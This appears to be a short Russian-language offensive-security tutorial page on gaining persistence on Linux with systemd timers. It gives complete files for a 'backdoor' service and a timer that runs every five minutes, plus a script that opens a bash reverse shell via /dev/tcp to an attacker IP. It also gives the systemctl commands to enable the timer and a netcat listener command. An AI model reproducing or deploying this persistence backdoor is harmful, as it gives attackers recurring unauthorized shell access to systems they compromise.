06 - Systemd Timers

Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ закрСплСния Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, Π½ΠΎ systemD слуТбы ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΈ ΠΏΠΎ Ρ€Π°ΡΠΏΠΈΡΠ°Π½ΠΈΡŽ, Ρ‡Ρ‚ΠΎ Π³ΠΎΡ€Π°Π·Π΄Π½ΠΎ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅. Π­Ρ‚ΠΈΠΌ ΠΌΡ‹ ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ. Для этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ 3 Ρ„Π°ΠΉΠ»Π°:

  1. Π€Π°ΠΉΠ» слуТбы systemD

  2. Π€Π°ΠΉΠ» с расписаниСм для этой слуТбы

  3. Π€Π°ΠΉΠ» врСдоносного скрипта

// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ сСрвис /etc/systemd/system/backdoor.service
[Unit]

Description=backdoor service

[Service]

ExecStart=/opt/backdoor.sh
// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ для сСрвиса Ρ‚Π°ΠΉΠΌΠ΅Ρ€ /etc/systemd/system/backdoor.timer
[Unit]

Description=backdoor timer

[Timer]

OnBootSec=5

OnUnitActiveSec=5m

[Install]

WantedBy=timers.target
// ВрСдоносный скрипт /opt/backdoor.sh
#!/usr/bin/bash
/bin/bash -i >& /dev/tcp/192.168.140.128/9010 0>&1

ΠŸΠ΅Ρ€Π°Π·Π°ΠΏΡƒΡΡ‚ΠΈΠΌ слуТбы ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠΌ наш Ρ‚Π°ΠΉΠΌΠ΅Ρ€

//
systemctl daemon-reload
systemctl enable backdoor.timer
systemctl start backdoor.timer
systemctl list-timers 
// На хостС Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ запускам netcat 
nc -lvp 9010

Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 5 ΠΌΠΈΠ½ΡƒΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²Π°Ρ‚ΡŒ наша слуТба, которая стартанСт врСдоносный скрипт, Π° ΠΎΠ½ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ отдаст Π½Π°ΠΌ шСл.

Last updated